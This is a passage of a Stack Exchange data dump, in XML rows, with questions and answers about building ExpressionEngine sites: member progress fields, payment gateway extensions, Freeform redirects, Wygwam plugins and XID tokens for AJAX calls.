  <row Id="23651" PostTypeId="2" ParentId="23646" CreationDate="2014-06-12T12:04:00.213" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;...and also a checkbox that will show whether the user has completed that&#xA;  resource&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You &lt;strong&gt;can't&lt;/strong&gt; store the member choices in the channel entries information.&#xA;&lt;em&gt;Well, technically you could, but it would have to store every members details so not optimal and not recommended.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm assuming there could be a crossover - so 2 courses could share the same resource. So therefore a better approach would be making the resources a separate channel, linking the course to the resource via a relationship.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The user (member) progress would have to be stored either via a custom add-on and database, or (easier) via a custom field in the member data. It won't be flexible to have a separate member field for each course (or resource), as that will mean each time a new course is added, new member fields would need to be added.  Because you're going to be using Ajax to set and retrieve the user progress, I'd suggest a single member field for progress. In this store a JSON encoded array representing each course and resource, say with keys of each entry ID, for example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{1:[{10:0, 11:1, 12:0, 13:1}], 2:[{12:1,14:0,15:1}], etc&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(Note: mocked up and probably not correct JSON format!)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Entry IDs 1 and 2 would be the course entry IDs. 10 - 15 would be resources. 1 and 0 values would be if they completed the resource. You could take this further to show scores, time spent, whatever.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your JavaScript you could then decode the JSON and have all the information readily available as an array.&lt;/p&gt;&#xA;" OwnerUserId="425" LastActivityDate="2014-06-12T12:04:00.213" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23653" PostTypeId="2" ParentId="23621" CreationDate="2014-06-12T13:01:09.300" Score="1" Body="&lt;p&gt;Turns out the problem was with a Wygwam configuration. In addition to upgrading Wygwam, I upgraded to Channel Images 5.4.17a. Previously, to use CI in Wygwam, one had to add an Advanced Setting to the Wygwam config (extraPlugins -&gt; &quot;channel images&quot;). Simply removing this setting did the trick.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The new version of CI automatically integrates with Wygwam and does not require that config step (or the addition of anything to the Wygwam theme folder).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps somebody down the road.&lt;/p&gt;&#xA;" OwnerUserId="3221" LastActivityDate="2014-06-12T13:01:09.300" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23654" PostTypeId="2" ParentId="23650" CreationDate="2014-06-12T13:46:52.320" Score="0" Body="&lt;p&gt;Are you aware of the &lt;code&gt;dynamic&lt;/code&gt; nature of the &lt;code&gt;channel:entries&lt;/code&gt; tag? It won't handle author_id, but by default it will automatically filter itself if it detects a url_title, entry_id, category_url_title/category id, dates, or pagination markers in the URL. Here's a full explanation:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.jamessmith.co.uk/articles/expressionengine_url_schematic&quot; rel=&quot;nofollow&quot;&gt;http://www.jamessmith.co.uk/articles/expressionengine_url_schematic&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You need to be a little bit careful about passing segment data directly into a channel entries tag as you could accidentally expose content that was meant to be private.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, if you're looking for more advanced filtering, try &lt;a href=&quot;http://devot-ee.com/add-ons/reefine&quot; rel=&quot;nofollow&quot;&gt;Reefine&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="182" LastActivityDate="2014-06-12T13:46:52.320" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23655" PostTypeId="1" AcceptedAnswerId="23856" CreationDate="2014-06-12T14:07:40.367" Score="2" ViewCount="247" Body="&lt;p&gt;I installed a new custom gateway I use via omnipay into EE2 backend, but when I go to 'Expresso Store' and click on 'Payment Gateways' to see if my payment gateway displays in the list, it gives me the following error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Fatal error: Uncaught exception 'Omnipay\Common\Exception\RuntimeException' with message 'Class '\Omnipay\PayU\Gateway' not found' in C:\wamp\www\flook\trunk\backend\expressionengine\third_party\store\vendor\omnipay\common\src\Omnipay\Common\GatewayFactory.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What could the problem be?&lt;/p&gt;&#xA;" OwnerUserId="3170" LastActivityDate="2014-06-21T13:06:35.047" Title="Gateway Extension Error" Tags="|expresso-store|ee2|extension|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23656" PostTypeId="2" ParentId="23655" CreationDate="2014-06-12T14:19:43.613" Score="3" Body="&lt;p&gt;You need to tell Store about your new gateway in the ext. file. Use the &lt;code&gt;store_payment_gateways&lt;/code&gt; hook and pass in the $gateways array:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function store_payment_gateways($gateways)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then ensure that you add your gateway to the list:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$gateways[] = 'PayU';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Include the autoloader:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$composer = require(PATH_THIRD.'store/autoload.php');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And tell Composer where to find your gateway:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$composer-&amp;gt;add('Omnipay', __DIR__);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Putting it all together it should look something like this as a single method:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function store_payment_gateways($gateways)&#xA;{&#xA;    // Language file?&#xA;    ee()-&amp;gt;lang-&amp;gt;loadfile('store_payu');&#xA;&#xA;    // Add the new gateway to Store's known list&#xA;    $gateways[] = 'PayU';&#xA;&#xA;    // Tell Store where to find the class files&#xA;    $composer = require(PATH_THIRD.'store/autoload.php');&#xA;    $composer-&amp;gt;add('Omnipay', __DIR__);&#xA;&#xA;    return $gateways;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="422" LastActivityDate="2014-06-12T14:19:43.613" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23657" PostTypeId="2" ParentId="23622" CreationDate="2014-06-12T14:19:46.363" Score="3" Body="&lt;p&gt;Should be pretty straight-forward, though it's really more of a JS question than EE...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the Isotope callback (ie, after it has finished filtering), you'll need to create a function that fetches all the class names of all visible (filtered) items (jQuery's :visible selector should work there), then pass those class names to a jQuery selection to toggle a class on the associated checkboxes to grey them out - maybe using something like &lt;code&gt;$($checkboxes).not($classes).toggleClass('nope')&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll just need to format the class list to make a string like: &lt;code&gt;[name=...],[name=...],[name=...]&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="182" LastActivityDate="2014-06-12T14:19:46.363" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="23658" PostTypeId="2" ParentId="23647" CreationDate="2014-06-12T14:28:28.273" Score="1" Body="&lt;p&gt;Failing any native way to do this, which I'm not sure if it exists or not, what I usually do is make a single return template with a &lt;code&gt;{exp:freeform:entries}&lt;/code&gt; tag, pulling the entry ID from the URL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I use a conditional inside the tag to perform a redirect based on one of the fields in the entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's an extra redirect and you have to add a hidden field for whatever your condition is based on, so it's not the ideal solution, but it works.&lt;/p&gt;&#xA;" OwnerUserId="197" LastActivityDate="2014-06-12T14:28:28.273" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23659" PostTypeId="1" AcceptedAnswerId="23769" CreationDate="2014-06-12T14:36:49.150" Score="1" ViewCount="36" Body="&lt;p&gt;In my cart (expresso-store), this error (underneath) gets displayed at the top of my page for every product in my cart i.e. if I have 2 products, 2 of these gets displayed, if I have 5 products in the cart, 5 of these gets displayed underneath each other. Is this a common mistake or am I missing something in my list of products in my code?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using the &lt;code&gt;{exp:channel:entries}&lt;/code&gt; and &lt;code&gt;{items}&lt;/code&gt; tags to iterate through the carts products.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pKn7D.png&quot; alt=&quot;Error In Core File&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3170" LastActivityDate="2014-06-18T07:21:51.477" Title="Error In Core File" Tags="|expresso-store|ee2|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="23660" PostTypeId="2" ParentId="23647" CreationDate="2014-06-12T14:50:49.077" Score="3" Body="&lt;p&gt;I'd suggest doing this via an extension - your best bet is likely to use the &lt;a href=&quot;http://www.solspace.com/docs/freeform/extension_hooks/#freeform_module_insert_end&quot; rel=&quot;nofollow&quot;&gt;freeform_module_insert_end&lt;/a&gt; hook, with one extra form input.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So in your form, add a hidden input so the extension knows the &lt;code&gt;url_title&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;channel_entry_url_title&quot; value=&quot;{url_title}&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is untested, but it &lt;em&gt;should&lt;/em&gt; work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function freeform_module_insert_end($inputs, $entry_id, $form_id, $obj)&#xA;{&#xA;    if ( ! $obj-&amp;gt;edit AND&#xA;         ( ! $obj-&amp;gt;multipage OR&#xA;            ($obj-&amp;gt;multipage AND $obj-&amp;gt;last_page)&#xA;         )&#xA;    )&#xA;    {&#xA;        $obj-&amp;gt;params['return'] = 'form/sent/'.ee()-&amp;gt;input-&amp;gt;post('channel_entry_url_title').'/'.$entry_id;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(Since &lt;code&gt;$obj&lt;/code&gt; is an object, it's passed by reference, and &lt;code&gt;params&lt;/code&gt; is a public variable, so it should set no problem.)&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2014-06-12T19:16:56.420" LastActivityDate="2014-06-12T19:16:56.420" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23662" PostTypeId="2" ParentId="23558" CreationDate="2014-06-12T15:25:07.887" Score="2" Body="&lt;p&gt;I had a similar issue recently on a VPS account – the local version worked. It ended up being a mod security setting that was preventing this from saving with the same error you mentioned. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Oddly this is the first time this issue came up with ExpressionEngine, despite being an issue with other CMS before using the same provider (Liquidweb in my case.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope that helps. &lt;/p&gt;&#xA;" OwnerUserId="3225" LastActivityDate="2014-06-12T15:25:07.887" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23663" PostTypeId="1" CreationDate="2014-06-12T15:31:56.050" Score="0" ViewCount="27" Body="&lt;p&gt;The link generated when i complete the forgotten password form sends me to EE member area password reset form. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do i create my &lt;strong&gt;own&lt;/strong&gt; password reset form so i dont have to style EE profile templates?&lt;/p&gt;&#xA;" OwnerUserId="257" LastActivityDate="2014-06-12T15:31:56.050" Title="Solspace user password reset form - styling?" Tags="|solspace-user|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="23664" PostTypeId="1" AcceptedAnswerId="23868" CreationDate="2014-06-12T15:45:52.900" Score="2" ViewCount="63" Body="&lt;p&gt;It seems pretty tedious to have to type in all the Category Ids to list all parent &amp;amp; children entries.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel =&quot;channel_name&quot; category=&quot;17|4|1|5|13|9|14|25|2|7|24|3|6|28&quot;     } &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there more maintainable way to do this?&lt;/p&gt;&#xA;" OwnerUserId="2826" LastActivityDate="2014-06-29T01:52:29.503" Title="Pulling Entries by Parent Category" Tags="|categories|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23668" PostTypeId="1" CreationDate="2014-06-12T18:27:49.930" Score="4" ViewCount="439" Body="&lt;p&gt;My site uses a &quot;guest&quot; account and therefore needs to allow multiple simultaneous logins from different IPs. So I'm using &quot;Session ID Only&quot; for my &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/admin/security_settings.html#website-session-type&quot; rel=&quot;nofollow&quot;&gt;Website Session Type&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any good documentation about keeping preserving the Session ID string (&lt;code&gt;S=d571da22a6...&lt;/code&gt;) when generating internal links in templates? Through trial and error I've found that when looping through entries, the &lt;code&gt;{url_title_path='group/template'}&lt;/code&gt; format will output the Session ID string (thus keeping the user logged in when they click one of them), whereas &lt;code&gt;{comment_url_auto_title_path}&lt;/code&gt; does not. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But for the life of me though I can't figure out how to link to the home page and output the Session ID string. &lt;code&gt;{site_url}&lt;/code&gt; doesn't do it, and &lt;code&gt;{cp_session_id}&lt;/code&gt; only applies to users who have access to the control panel. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I missing something? Is it the expected behavior that clicking any link without the Session ID string will log the user out (or at least display the page as if the user is logged out)?&lt;/p&gt;&#xA;" OwnerUserId="489" LastEditorUserId="489" LastEditDate="2014-06-12T23:27:09.693" LastActivityDate="2015-05-08T17:25:42.257" Title="Session ID mode and internal links" Tags="|sessions|logout|guest|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23669" PostTypeId="1" AcceptedAnswerId="23700" CreationDate="2014-06-12T18:51:39.150" Score="1" ViewCount="77" Body="&lt;p&gt;Does any one know if there's a way to use data from other entries for modular content entry?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Meaning a user is presented with a Matrix-like field and they add a row and select WYGWAM to begin typing. They get to a part of their article where they want to include data from another entry so they add another row and select a &quot;Hotel&quot; entry for example. Then they wish to continue writing and add another row and select WYGWAM and continue typing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then on the front-end the data is presented as:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;WYGWAM Body Copy&lt;/li&gt;&#xA;&lt;li&gt;Embed of data from a Hotel Entry&lt;/li&gt;&#xA;&lt;li&gt;WYGWAM Body Copy&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The thought behind this is that the data for the Hotel Entry no matter where it appears is controlled by an entry and when updated is updated across the site wherever it appears.&lt;/p&gt;&#xA;" OwnerUserId="454" LastActivityDate="2014-06-13T21:22:18.983" Title="Using Related Entries for Modular Content Entry" Tags="|channel-entries|matrix|playa|relationships|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23670" PostTypeId="1" CreationDate="2014-06-12T19:53:39.980" Score="0" ViewCount="86" Body="&lt;p&gt;Since Wygwam 3 was released it has not had the form elements button reintroduced. I am in need of some guidance on how to add the button back for our editors, more specifically the  field.&lt;/p&gt;&#xA;&lt;p&gt;I have looked into adding plugins to CKeditor, and it appears I have followed the instructions but the integration with expression engine the button will not show.&lt;/p&gt;&#xA;&lt;p&gt;I contacted Brandon Kelly about this back in September and he indicated the following...&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;We removed those plugins for Wygwam 3.0, along with some others that were very rarely used, to cut down on Wygwam's overall file size. The next update will come with a way to bring them back if you really need them, but for now, the only way to get them is to go back to Wygwam 2.x.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;The update to Wygwam 3.2 appears to have added this functionality, but the documention is unlear to me.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Wygwam 3.2&lt;/p&gt;&#xA;&lt;p&gt;Released on Oct 1, 2013&lt;/p&gt;&#xA;&lt;p&gt;Added the wygwam_tb_groups, wygwam_tb_label_overrides, and wygwam_tb_combos extension hooks, making it possible for other extensions to add new toolbar buttons to Wygwam’s toolbar configurator.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;http://docs.pixelandtonic.com/wygwam/changelog.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://docs.pixelandtonic.com/wygwam/changelog.html&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Thanks for any help!&lt;/p&gt;&#xA;" OwnerUserId="386" LastEditorUserId="-1" LastEditDate="2020-06-17T08:55:32.810" LastActivityDate="2014-06-13T13:12:12.113" Title="Wygwam 3.3.1 Add an &lt;input&gt; button" Tags="|wygwam|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23671" PostTypeId="1" AcceptedAnswerId="23692" CreationDate="2014-06-12T20:21:17.507" Score="2" ViewCount="2007" Body="&lt;p&gt;I need to create a series of templates that output a JSON string for Ajax to consume and utilize in the frontend. My other templates could benefit from using this as it too needs the same data. Is there a way for a template to embed a template that outputs a JSON string and somehow use it (e.g. assign it to a variable, loop through it, access each index, etc.)?&lt;/p&gt;&#xA;" OwnerUserId="324" LastEditorUserId="324" LastEditDate="2014-06-12T20:33:05.190" LastActivityDate="2014-06-16T14:30:03.490" Title="Template Embed: how to embed JSON?" Tags="|templates|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23672" PostTypeId="1" AcceptedAnswerId="23727" CreationDate="2014-06-12T21:41:20.263" Score="1" ViewCount="2052" Body="&lt;p&gt;But not a javascript error, I think its something internal to EE?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bear with me as this is a strange error I'm seeing.  I have a few pages in EE that are set type XML and they output XML dynamically using EE tags.  I can click View Template next these pages and the XML loads great in a browser window.  I validated the XML and it comes back with it not being valid XML.  It does seem that there is a ton of blank space at the top of my outputted XML file after the xml declaration line.  So, the fact that it is not validating might be the issue. (But let's not stop there with the details.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there something special i need to remove the whitespace from the xml files?  It does seem excessive.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Loading in a web browser works fine - check!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Loading via jquery.ajax shows an error when I am using Chrome and I look at the Response tab.  So something odd is going on there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;--&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other details are when the page initial loads, the first xml page loads fine.  Then i have these tabs on the page and when i click through them, the other pages fail to load.  That's kind of odd.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;--&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This system of XML and jquery works fine on v2.5.2.  We have now moved to v2.7.3.  And for whatever reason, this stopped working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We do use VZ Address, jQuery v1.11.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other odd thing is that I dont get any javascript errors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;--&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone have any suggestions for settings that I should check?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;--&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;&#xA;I found this thread on the &lt;a href=&quot;http://ellislab.com/forums/viewthread/237658/P15/&quot; rel=&quot;nofollow&quot;&gt;EE forums&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Essentially, what it says is that each form that is submitted needs to send a XID.  If you have a form you would want to add this line of code to your form.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;XID&quot; value=&quot;{XID_HASH}&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have a few forms that I'm going to add this too.  But my main issue is adding it to the jQuery.ajax call and I guess I need to send it through to xml pages where i am loading xml  data via ajax.  I'll report back if this fixes my issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE #2&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wrote a function in js to get the XID value from my webpage, but this did not fix the problem.  I still receive an error message when my jquery.ajax calls tries to load the XML data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is what I added to the javascript to get the XID value:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function getXID(show) {&#xA;  var myxid = document.getElementById(&quot;xid&quot;).value;&#xA;  return myxid;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And then I call this function later on inside of another function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;params['XID'] = getXID(true);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It gets added as one of the params which is later passed to the jquery.ajax call.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I checked and I can see the XID param being sent to the jquery.ajax by looking in chrome network panel, i can see the query string it builds.  So we are good there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my jQuery ajax call.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery.ajax({&#xA;    url: url,&#xA;    type: 'POST',&#xA;    dataType: 'xml',&#xA;    data: params,&#xA;    success: callback&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update #3&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Did some digging and I saw that its possible to disable csrf_protection by adding this line to the config.php file.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['disable_csrf_protection'] = 'y';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, my config.php already had this line in it, which is similar.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['csrf_protection'] = FALSE;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Uploaded the config.php file and this made no difference.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also added this to my config.php file and this did the trick:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['secure_forms'] = &quot;n&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I don't want to disable secure forms on my website because security is especially important on the website I am working on.  Does it matter if the whole site is running under SSL?  Our domain runs under SSL for the whole site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update #4&lt;/strong&gt;&#xA;Picking at straws here now.  I had read that XIDs in EE2.7.3 are single use.  So, i made a page template that generates a unique XID and i'm doing a &quot;GET&quot; to grab that XID value and i'm putting that in my function.  So i get a fresh XID each time the function runs.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function getXID(show) {&#xA;// var myxid = document.getElementById(&quot;xid&quot;).value;&#xA;//return myxid;&#xA;$.get( &quot;/?/Site/unique-xid&quot;, function( data ) {&#xA;var myxid = data;&#xA;    console.log(myxid);&#xA;&#xA;    return myxid; &#xA;&#xA;});&#xA; }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This still doesnt work.  What is problem here?  Why doesnt this work?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I missing something here?  Feeling defeated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update #5&lt;/strong&gt;&#xA;We got this fixed running in Chrome and Firefox.  IE, you silly fool, why won't you work right?  So, here is the solution I have so far.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In EE, I made a template to output a valid XID.  That page template looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php header(&quot;Cache-Control: no-cache, must-revalidate&quot;); ?&amp;gt;&#xA;&amp;lt;?php echo trim(XID_SECURE_HASH); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then in my JS file, i update the function I had listed above to this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function getXID(show) {&#xA;&#xA;    var myxid = null;&#xA;  var scriptUrl = &quot;/?/Site/unique-xid&quot;;&#xA;     $.ajax({&#xA;        url: scriptUrl,&#xA;        type: 'GET',&#xA;        dataType: 'text',&#xA;        async: false,&#xA;        success: function(data) {&#xA;            myxid = data;&#xA;        } &#xA;     });&#xA;     return myxid;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then inside of another function I have this code, which run the function above and grabs that XID number and assigns it to the params array which is then sent to a $.ajax POST.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var params = {};&#xA;&#xA;params['XID'] = getXID(true);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, as far as i can see this solution works great in Chrome and Firefox.  IE 11 is sort of random if it works or not.  I installed the Telerik control and when i run that program everything in IE works great.  When i exit Telerik and try the website, it sometimes crashes the browser and then IE stops responding.  Not gonna lie there is alot going on here.  The tabs trigger the functions which also load points into a Google Map.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So i read that IE has problems with AJAX &quot;GET&quot; requests and cache'ing problems.  So i added that no-cache header in the XID template to correct that.  I see in Fiddler i am getting that header i am sending.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It didnt solve the problem though.  IE still flakes out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Completed&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Turns out the update #5 solution worked in all browsers.  On my dev site there were some images that were trying to be loaded over https that it can't find and that was creating a delay for the points load.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I fixed these broken image issues on the preview site and then everything was running much faster.  This was all inherited code so we are trying to fix this little by little.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I now have the solution running on our live site and appears to be working across the board in a variety of browsers.  All good news.&lt;/p&gt;&#xA;" OwnerUserId="1711" LastEditorUserId="1711" LastEditDate="2014-06-16T17:59:48.757" LastActivityDate="2014-06-16T18:25:01.857" Title="Load XML via jquery.ajax causes an error" Tags="|jquery|ajax|xid|secureforms|csrf|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23673" PostTypeId="2" ParentId="23671" CreationDate="2014-06-13T00:47:05.193" Score="1" Body="&lt;p&gt;For this you gonna need an add-on. EECMS can't do this by its own.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are two good options:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/philsturgeon/ee2-rest&quot; rel=&quot;nofollow&quot;&gt;Rest&lt;/a&gt; - it's a good option. Besides the developer, who has an excellent reputation, had abandoned the project, he continues to accept pull requests and the add-on is used by a lot of developers;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitbucket.org/ajweaver/ajw_feedparser&quot; rel=&quot;nofollow&quot;&gt;AJW Feed Parser&lt;/a&gt; - I usually prefer this, because of its caching functionality. It caches the source, so you can use the data on several pages without to fetch them again until the cache expires.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Both of them treat the source as an external one.&lt;/p&gt;&#xA;" OwnerUserId="343" LastActivityDate="2014-06-13T00:47:05.193" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23674" PostTypeId="1" CreationDate="2014-06-13T04:48:37.647" Score="1" ViewCount="683" Body="&lt;p&gt;I have a simple two-level category structure like this:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Fresh&#xA;&lt;ul&gt;&lt;li&gt;Fresh Pre Packed&lt;/li&gt;&lt;li&gt;Fresh Bulk&lt;/li&gt;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;Frozen&#xA;&lt;ul&gt;&lt;li&gt;Frozen Pre Packed&lt;/li&gt;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;Ready To Go&#xA;&lt;ul&gt;&lt;li&gt;Meals&lt;/li&gt;&lt;li&gt;Condiments&lt;/li&gt;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm simply trying to iterate though the parent categories and for each parent loop through its children and then output the channel entries for that specific category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I may have overthought this a bit, but right now what I have is 